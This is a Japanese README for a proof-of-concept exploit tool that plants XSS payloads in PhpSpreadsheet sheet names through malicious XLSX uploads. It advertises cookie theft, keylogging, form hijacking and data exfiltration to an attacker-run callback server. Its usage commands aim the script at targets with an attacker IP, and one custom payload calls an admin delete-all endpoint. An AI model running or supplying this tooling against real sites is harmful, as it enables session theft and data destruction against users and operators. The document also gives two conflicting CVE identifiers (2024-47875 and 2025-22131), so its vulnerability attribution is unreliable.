
これはCVE-2024-47875 PhpSpreadsheet XSS脆弱性のPoC/Exploitです。
これは、PhpSpreadsheet の 2.2.2、2.1.2、1.29.4 より前のバージョンに存在する Cross-Site Scripting (XSS) 脆弱性 CVE-2025-22131 に関する PoC です。この脆弱性は generateNavigation() 関数に存在し、XLSX から HTML への変換時にシート名をサニタイズしないため、悪意のある JavaScript インジェクションが可能になります。
CVE ID: CVE-2024-47875
GitHub Advisory: GHSA-79xx-vf93-p7cx
影響を受けるバージョン: PhpSpreadsheet < 2.2.2, < 2.1.2, < 1.29.4
作者: Roj
ライセンス: MIT
リポジトリ: PoC リポジトリ
📄 カスタマイズ可能な XSS ペイロードを持つ悪意のある XLSX ファイルを生成します
🛠️ 複数のペイロードタイプに対応:
cookie_theft: セッションクッキーを盗みます
redirect: ユーザーを攻撃者が制御するサイトにリダイレクトします
alert: PoC 用のテストアラートを表示します
keylogger: キー入力を記録します
form_hijack: フォーム送信を傍受します
data_exfil: 指定されたエンドポイントからデータを外部送信します
🌐 エクスプロイトのコールバックをキャプチャする内蔵 HTTP サーバー
⬆️ 悪意のある XLSX ファイルをターゲットエンドポイントにアップロードします
💾 キャプチャしたデータ(例: クッキー)を JSON ファイルに保存します
🎨 読みやすさを向上させるカラー化されたターミナル出力
🔍 デバッグ用の詳細ログ
python exploit.py -h
🚀 使用例:
#Basic cookie theft attack
python3 exploit.py http://target.htb 10.10.16.50
# Custom upload endpoint
python3 exploit.py http://app.htb 10.10.16.50 -e /api/file-upload
# Different payload types
python3 exploit.py http://target.com 10.10.16.50 -p keylogger
python3 exploit.py http://target.com 10.10.16.50 -p redirect
python3 exploit.py http://target.com 10.10.16.50 -p form_hijack
# Custom XSS payload
python3 exploit.py http://target.com 10.10.16.50 --custom "<script>fetch('/admin/delete-all')</script>"
フィードバックをいただければ幸いです。皆さんの幸運を祈ります。